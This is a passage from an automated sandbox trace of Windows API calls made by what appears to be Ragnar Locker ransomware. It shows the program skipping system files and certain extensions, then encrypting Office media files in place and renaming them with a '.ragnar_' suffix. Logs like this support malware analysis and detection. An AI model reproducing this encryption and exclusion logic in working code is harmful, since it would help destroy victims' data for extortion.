nNumberOfBytesToLockHigh=0x0) returned 1 [0096.076] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.076] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.076] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.076] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.076] GetProcessHeap () returned 0x580000 [0096.076] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.076] CloseHandle (hObject=0x104) returned 1 [0096.076] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" [0096.076] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.ragnar_FD7BD9FC" [0096.076] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.077] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302953.JPG", cAlternateFileName="")) returned 1 [0096.077] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.077] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0302953.JPG" | out: lpString1="J0302953.JPG") returned="J0302953.JPG" [0096.077] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG") returned=".JPG" [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="autorun.inf") returned 1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="boot.ini") returned 1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="bootfont.bin") returned 1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="bootsect.bak") returned 1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="bootmgr") returned 1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="bootmgr.efi") returned 1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="bootmgfw.efi") returned 1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="desktop.ini") returned 1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="iconcache.db") returned 1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="ntldr") returned -1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="ntuser.dat") returned -1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="ntuser.dat.log") returned -1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="ntuser.ini") returned -1 [0096.077] lstrcmpiW (lpString1="J0302953.JPG", lpString2="thumbs.db") returned -1 [0096.077] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0096.077] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0096.077] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0096.077] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0096.077] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0096.077] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0096.077] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0096.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg")) returned 0x20 [0096.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.078] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9665) returned 1 [0096.078] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x25b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.078] GetProcessHeap () returned 0x580000 [0096.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.078] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.080] VirtualAlloc (lpAddress=0x0, dwSize=0x25c1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.080] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.080] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.080] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x25c1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x25c1, lpOverlapped=0x0) returned 1 [0096.081] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.081] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x25c1, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.082] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x25c1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x25c1, lpOverlapped=0x0) returned 1 [0096.082] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x25c1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.082] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.082] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x25c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.082] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.082] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.082] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.082] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.082] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.082] GetProcessHeap () returned 0x580000 [0096.082] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.082] CloseHandle (hObject=0x104) returned 1 [0096.082] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" [0096.082] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.ragnar_FD7BD9FC" [0096.083] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.083] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304933.WMF", cAlternateFileName="")) returned 1 [0096.083] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.083] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0304933.WMF" | out: lpString1="J0304933.WMF") returned="J0304933.WMF" [0096.083] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF") returned=".WMF" [0096.083] lstrcmpiW (lpString1="J0304933.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.083] lstrcmpiW (lpString1="J0304933.WMF", lpString2="autorun.inf") returned 1 [0096.083] lstrcmpiW (lpString1="J0304933.WMF", lpString2="boot.ini") returned 1 [0096.083] lstrcmpiW (lpString1="J0304933.WMF", lpString2="bootfont.bin") returned 1 [0096.083] lstrcmpiW (lpString1="J0304933.WMF", lpString2="bootsect.bak") returned 1 [0096.083] lstrcmpiW (lpString1="J0304933.WMF", lpString2="bootmgr") returned 1 [0096.083] lstrcmpiW (lpString1="J0304933.WMF", lpString2="bootmgr.efi") returned 1 [0096.083] lstrcmpiW (lpString1="J0304933.WMF", lpString2="bootmgfw.efi") returned 1 [0096.084] lstrcmpiW (lpString1="J0304933.WMF", lpString2="desktop.ini") returned 1 [0096.084] lstrcmpiW (lpString1="J0304933.WMF", lpString2="iconcache.db") returned 1 [0096.084] lstrcmpiW (lpString1="J0304933.WMF", lpString2="ntldr") returned -1 [0096.084] lstrcmpiW (lpString1="J0304933.WMF", lpString2="ntuser.dat") returned -1 [0096.084] lstrcmpiW (lpString1="J0304933.WMF", lpString2="ntuser.dat.log") returned -1 [0096.084] lstrcmpiW (lpString1="J0304933.WMF", lpString2="ntuser.ini") returned -1 [0096.084] lstrcmpiW (lpString1="J0304933.WMF", lpString2="thumbs.db") returned -1 [0096.084] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.084] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.084] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.084] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.084] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.084] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.084] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf")) returned 0x20 [0096.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.085] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19844) returned 1 [0096.085] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4d7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.085] GetProcessHeap () returned 0x580000 [0096.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.085] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.086] VirtualAlloc (lpAddress=0x0, dwSize=0x4d84, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.086] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.086] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.086] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4d84, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4d84, lpOverlapped=0x0) returned 1 [0096.087] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.088] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4d84, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.088] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4d84, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4d84, lpOverlapped=0x0) returned 1 [0096.088] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4d84, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.088] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.088] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.088] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.088] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.089] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.112] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.128] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.128] GetProcessHeap () returned 0x580000 [0096.128] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.128] CloseHandle (hObject=0x104) returned 1 [0096.128] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" [0096.128] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.ragnar_FD7BD9FC" [0096.128] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.129] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab12600, ftCreationTime.dwHighDateTime=0x1bf4533, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ab12600, ftLastWriteTime.dwHighDateTime=0x1bf4533, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305257.WMF", cAlternateFileName="")) returned 1 [0096.129] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.129] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0305257.WMF" | out: lpString1="J0305257.WMF") returned="J0305257.WMF" [0096.129] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF") returned=".WMF" [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="autorun.inf") returned 1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="boot.ini") returned 1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="bootfont.bin") returned 1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="bootsect.bak") returned 1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="bootmgr") returned 1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="bootmgr.efi") returned 1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="bootmgfw.efi") returned 1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="desktop.ini") returned 1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="iconcache.db") returned 1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="ntldr") returned -1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="ntuser.dat") returned -1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="ntuser.dat.log") returned -1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="ntuser.ini") returned -1 [0096.129] lstrcmpiW (lpString1="J0305257.WMF", lpString2="thumbs.db") returned -1 [0096.129] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.130] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.130] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.130] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.130] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.130] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.130] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf")) returned 0x20 [0096.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.131] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23280) returned 1 [0096.131] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5ae7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.131] GetProcessHeap () returned 0x580000 [0096.131] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.131] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.132] VirtualAlloc (lpAddress=0x0, dwSize=0x5af0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.133] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.133] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.133] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5af0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5af0, lpOverlapped=0x0) returned 1 [0096.143] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.145] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5af0, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.146] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5af0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5af0, lpOverlapped=0x0) returned 1 [0096.146] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5af0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.146] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.146] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5af0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.146] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.146] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.146] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.146] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.146] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.146] GetProcessHeap () returned 0x580000 